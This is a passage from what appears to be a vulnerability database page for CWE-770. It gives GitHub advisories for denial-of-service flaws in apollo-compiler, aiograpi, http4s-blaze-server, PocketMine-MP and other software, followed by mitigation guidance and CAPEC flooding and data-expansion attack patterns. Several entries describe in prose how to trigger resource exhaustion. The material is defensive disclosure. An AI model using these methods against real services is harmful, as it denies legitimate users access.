The validation logic has been updated to process each named fragment only once, preventing redundant traversal.
Patches
This has been remediated in apollo-compiler version 1.27.0.
Workarounds
No known direct workarounds exist.
Acknowledgements
We appreciate the efforts of the security community in identifying and improving the performance and security of query validation mechanisms.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "apollo-compiler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-31496"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-07T19:09:14Z",
"nvd_published_at": "2025-04-07T21:15:42Z",
"severity": "HIGH"
},
"details": "# Impact\n\n## Summary\n\nA vulnerability in Apollo Compiler allowed queries with deeply nested and reused named fragments to be prohibitively expensive to validate. This could lead to excessive resource consumption and denial of service in applications.\n\n## Details\n\nNamed fragments were being processed once per fragment spread in some cases during query validation, leading to exponential resource usage when deeply nested and reused fragments were involved.\n\n## Fix/Mitigation\n\nThe validation logic has been updated to process each named fragment only once, preventing redundant traversal.\n\n# Patches\nThis has been remediated in `apollo-compiler` version 1.27.0.\n\n# Workarounds\nNo known direct workarounds exist.\n\n## Acknowledgements\nWe appreciate the efforts of the security community in identifying and improving the performance and security of query validation mechanisms.",
"id": "GHSA-7mpv-9xg6-5r79",
"modified": "2025-04-08T17:49:31Z",
"published": "2025-04-07T19:09:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apollographql/apollo-rs/security/advisories/GHSA-7mpv-9xg6-5r79"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31496"
},
{
"type": "WEB",
"url": "https://github.com/apollographql/apollo-rs/pull/952"
},
{
"type": "PACKAGE",
"url": "https://github.com/apollographql/apollo-rs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apollo Compiler Named Fragment Processing Vulnerability"
}
GHSA-7MW3-79JQ-XC7F
Vulnerability from github – Published: 2026-05-06 22:06 – Updated: 2026-05-06 22:06Impact
aiograpi 0.6.6 / 0.7.0 / 0.7.1 declared orjson==3.11.6 (and later ==3.11.8) in requirements.txt but setup.py carried a hard-coded duplicate requirements = [...] list that was never updated and still pinned orjson==3.11.4.
When setuptools builds the source distribution it reads the metadata from setup.py, not from requirements.txt. So pip install aiograpi==0.6.6 (or 0.7.0 / 0.7.1) actually pulls orjson==3.11.4 — a version vulnerable to CVE-2025-67221 (stack overflow in orjson.dumps on deeply nested JSON inputs).
Practical exploitability
Low in the typical aiograpi flow: orjson is used to encode request bodies aiograpi itself constructs and to decode responses returned by Instagram. An attacker would need to coerce aiograpi to encode an attacker-controlled deeply-nested Python structure or to decode an attacker-supplied stream — not the normal call shape.
However any caller doing client.public_request(...) or similar with caller-controlled payloads, or any caller passing aiograpi-decoded last_json into recursive serialization, may hit the unbounded recursion. The patched orjson rejects deeply-nested inputs cleanly.
Patches
Fixed in aiograpi 0.7.2 by migrating to pyproject.toml (PEP 621) — single source of truth for dependencies. PyPI installs of 0.7.2 and later resolve orjson==3.11.8 correctly.
Workarounds
Force-install a non-vulnerable orjson alongside the affected aiograpi version:
pip install 'aiograpi==0.7.1' 'orjson>=3.11.6'
Or just upgrade to a fixed aiograpi:
pip install -U 'aiograpi>=0.7.2'
Resources
- orjson CVE-2025-67221 advisory: https://github.com/ijl/orjson/security/advisories
- aiograpi 0.7.2 changelog (security section): https://github.com/subzeroid/aiograpi/blob/main/CHANGELOG.md#072--2026-04-27
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "aiograpi"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.6"
},
{
"fixed": "0.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T22:06:11Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Impact\n\naiograpi 0.6.6 / 0.7.0 / 0.7.1 declared `orjson==3.11.6` (and later `==3.11.8`) in `requirements.txt` but `setup.py` carried a hard-coded duplicate `requirements = [...]` list that was never updated and still pinned `orjson==3.11.4`.\n\nWhen `setuptools` builds the source distribution it reads the metadata from `setup.py`, not from `requirements.txt`. So `pip install aiograpi==0.6.6` (or 0.7.0 / 0.7.1) actually pulls `orjson==3.11.4` \u2014 a version vulnerable to **CVE-2025-67221** (stack overflow in `orjson.dumps` on deeply nested JSON inputs).\n\n## Practical exploitability\n\nLow in the typical aiograpi flow: `orjson` is used to encode request bodies aiograpi itself constructs and to decode responses returned by Instagram. An attacker would need to coerce aiograpi to encode an attacker-controlled deeply-nested Python structure or to decode an attacker-supplied stream \u2014 not the normal call shape.\n\nHowever any caller doing `client.public_request(...)` or similar with caller-controlled payloads, or any caller passing aiograpi-decoded `last_json` into recursive serialization, may hit the unbounded recursion. The patched orjson rejects deeply-nested inputs cleanly.\n\n## Patches\n\nFixed in **aiograpi 0.7.2** by migrating to `pyproject.toml` (PEP 621) \u2014 single source of truth for dependencies. PyPI installs of 0.7.2 and later resolve `orjson==3.11.8` correctly.\n\n## Workarounds\n\nForce-install a non-vulnerable orjson alongside the affected aiograpi version:\n\n```\npip install \u0027aiograpi==0.7.1\u0027 \u0027orjson\u003e=3.11.6\u0027\n```\n\nOr just upgrade to a fixed aiograpi:\n\n```\npip install -U \u0027aiograpi\u003e=0.7.2\u0027\n```\n\n## Resources\n\n- orjson CVE-2025-67221 advisory: https://github.com/ijl/orjson/security/advisories\n- aiograpi 0.7.2 changelog (security section): https://github.com/subzeroid/aiograpi/blob/main/CHANGELOG.md#072--2026-04-27",
"id": "GHSA-7mw3-79jq-xc7f",
"modified": "2026-05-06T22:06:11Z",
"published": "2026-05-06T22:06:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/subzeroid/aiograpi/security/advisories/GHSA-7mw3-79jq-xc7f"
},
{
"type": "WEB",
"url": "https://github.com/ijl/orjson/security/advisories"
},
{
"type": "PACKAGE",
"url": "https://github.com/subzeroid/aiograpi"
},
{
"type": "WEB",
"url": "https://github.com/subzeroid/aiograpi/blob/main/CHANGELOG.md#072--2026-04-27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "aiograpi has dependency on vulnerable orjson 3.11.4 (CVE-2025-67221)"
}
GHSA-7P4J-JW3C-V3X8
Vulnerability from github – Published: 2024-06-20 03:30 – Updated: 2024-06-20 03:30Allocation of Resources Without Limits or Throttling vulnerability in LG Electronics LG SuperSign CMS allows Port Scanning.This issue affects LG SuperSign CMS: from 4.1.3 before < 4.3.1.
{
"affected": [],
"aliases": [
"CVE-2024-6176"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-20T01:15:49Z",
"severity": null
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in LG Electronics LG SuperSign CMS allows Port Scanning.This issue affects LG SuperSign CMS: from 4.1.3 before \u003c 4.3.1.",
"id": "GHSA-7p4j-jw3c-v3x8",
"modified": "2024-06-20T03:30:34Z",
"published": "2024-06-20T03:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6176"
},
{
"type": "WEB",
"url": "https://lgsecurity.lge.com/bulletins/idproducts#updateDetails"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7P67-M4J8-H4VX
Vulnerability from github – Published: 2026-08-27 06:31 – Updated: 2026-08-27 18:32A Spring WebFlux application that relies on the Aalto XML processor to parse XML input does not correctly enforce the maxInMemorySize limit. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30 Spring Framework 5.3.0 - 5.3.49 Spring Framework 5.2.25.RELEASE and earlier
{
"affected": [],
"aliases": [
"CVE-2026-47891"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T06:17:20Z",
"severity": "CRITICAL"
},
"details": "A Spring WebFlux application that relies on the Aalto XML processor to parse XML input does not correctly enforce the maxInMemorySize limit.\nSpring Framework 7.0.0 - 7.0.8\nSpring Framework 6.2.0 - 6.2.19\nSpring Framework 6.1.0 - 6.1.28\nSpring Framework 6.0.0 - 6.0.30\nSpring Framework 5.3.0 - 5.3.49\nSpring Framework 5.2.25.RELEASE and earlier",
"id": "GHSA-7p67-m4j8-h4vx",
"modified": "2026-08-27T18:32:10Z",
"published": "2026-08-27T06:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47891"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-47891"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7PH6-JPFH-8F79
Vulnerability from github – Published: 2024-11-18 06:30 – Updated: 2024-11-18 18:30In Bitcoin Core before 0.18.0, a node could be stalled for hours when processing the orphans of a crafted unconfirmed transaction.
{
"affected": [],
"aliases": [
"CVE-2024-52914"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T04:15:04Z",
"severity": "HIGH"
},
"details": "In Bitcoin Core before 0.18.0, a node could be stalled for hours when processing the orphans of a crafted unconfirmed transaction.",
"id": "GHSA-7ph6-jpfh-8f79",
"modified": "2024-11-18T18:30:54Z",
"published": "2024-11-18T06:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52914"
},
{
"type": "WEB",
"url": "https://bitcoincore.org/en/2024/07/03/disclose-orphan-dos"
},
{
"type": "WEB",
"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7PPR-R889-MCF2
Vulnerability from github – Published: 2026-07-24 22:28 – Updated: 2026-08-12 21:08Summary
http4s-blaze-server aggregates the fragments of an incoming WebSocket
message with no limit on total size or fragment count. A client that
completes a WebSocket handshake can send an unterminated fragmented
message and drive unbounded heap growth in the server JVM, resulting in
denial of service via OutOfMemoryError.
Impact
Any http4s application serving WebSocket routes over
BlazeServerBuilder is affected; no non-default configuration is required,
and maxWebSocketBufferSize does not bound the aggregate (it bounds only
individual frames). A single connection sending continuation frames that
never set FIN forces the server to buffer every fragment until the heap is
exhausted, terminating the JVM with OutOfMemoryError on the blaze
selector thread. Small fragments amplify the cost through per-frame object
overhead, so a modest volume of wire bytes is sufficient. Where the
WebSocket endpoint is reachable without authentication the attacker is
unauthenticated and remote; where the handshake requires a principal, any
authenticated client can still trigger it.
Workarounds
- No blaze-server configuration bounds the aggregate;
maxWebSocketBufferSizeis not a mitigation. - Terminate/limit WebSocket traffic at a fronting layer that enforces message-size and fragment limits, or disable WebSocket routes.
- Longer term: blaze is EOL upstream; plan migration to a maintained backend (e.g. ember).
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-blaze-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-blaze-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M42"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-blaze-server_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-blaze-server_3"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M42"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73493"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:28:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`http4s-blaze-server` aggregates the fragments of an incoming WebSocket\nmessage with no limit on total size or fragment count. A client that\ncompletes a WebSocket handshake can send an unterminated fragmented\nmessage and drive unbounded heap growth in the server JVM, resulting in\ndenial of service via `OutOfMemoryError`.\n\n## Impact\n\nAny http4s application serving WebSocket routes over\n`BlazeServerBuilder` is affected; no non-default configuration is required,\nand `maxWebSocketBufferSize` does not bound the aggregate (it bounds only\nindividual frames). A single connection sending continuation frames that\nnever set FIN forces the server to buffer every fragment until the heap is\nexhausted, terminating the JVM with `OutOfMemoryError` on the blaze\nselector thread. Small fragments amplify the cost through per-frame object\noverhead, so a modest volume of wire bytes is sufficient. Where the\nWebSocket endpoint is reachable without authentication the attacker is\nunauthenticated and remote; where the handshake requires a principal, any\nauthenticated client can still trigger it.\n\n## Workarounds\n\n- No blaze-server configuration bounds the aggregate; `maxWebSocketBufferSize`\n is not a mitigation.\n- Terminate/limit WebSocket traffic at a fronting layer that enforces\n message-size and fragment limits, or disable WebSocket routes.\n- Longer term: blaze is EOL upstream; plan migration to a maintained\n backend (e.g. ember).",
"id": "GHSA-7ppr-r889-mcf2",
"modified": "2026-08-12T21:08:44Z",
"published": "2026-07-24T22:28:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4s/blaze/security/advisories/GHSA-7ppr-r889-mcf2"
},
{
"type": "WEB",
"url": "https://github.com/http4s/blaze/commit/173e8ca820a0d12110bfe409c72e9b9c3d28d471"
},
{
"type": "WEB",
"url": "https://github.com/http4s/blaze/commit/2ae13a74d55209b6573d5228d1aa94f0361a75d0"
},
{
"type": "WEB",
"url": "https://github.com/http4s/blaze/commit/fadbe6d0f7f59045425688d313c8d4804973d12f"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4s/blaze"
},
{
"type": "WEB",
"url": "https://github.com/http4s/blaze/releases/tag/v0.23.18"
},
{
"type": "WEB",
"url": "https://github.com/http4s/blaze/releases/tag/v1.0.0-M42"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "blaze: Unbounded WebSocket message aggregation in http4s-blaze-server"
}
GHSA-7PWM-93WH-WVJW
Vulnerability from github – Published: 2026-09-06 12:30 – Updated: 2026-09-06 12:30PocketMine-MP before 4.12.3 fails to limit unauthenticated sessions, allowing attackers to exhaust player slots by creating sessions without sending LoginPacket. Attackers can flood the server with unauthenticated connections that occupy max-player slots, preventing legitimate players from joining.
{
"affected": [],
"aliases": [
"CVE-2022-51008"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-06T12:17:14Z",
"severity": "MODERATE"
},
"details": "PocketMine-MP before 4.12.3 fails to limit unauthenticated sessions, allowing attackers to exhaust player slots by creating sessions without sending LoginPacket. Attackers can flood the server with unauthenticated connections that occupy max-player slots, preventing legitimate players from joining.",
"id": "GHSA-7pwm-93wh-wvjw",
"modified": "2026-09-06T12:30:23Z",
"published": "2026-09-06T12:30:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-474q-9hgp-hcvx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-51008"
},
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/commit/59be901efe6b7833e69e638e0e1497051ce96fa7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/pocketmine-mp-before-4.12.3-denial-of-service-via-unauthenticated-sessions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.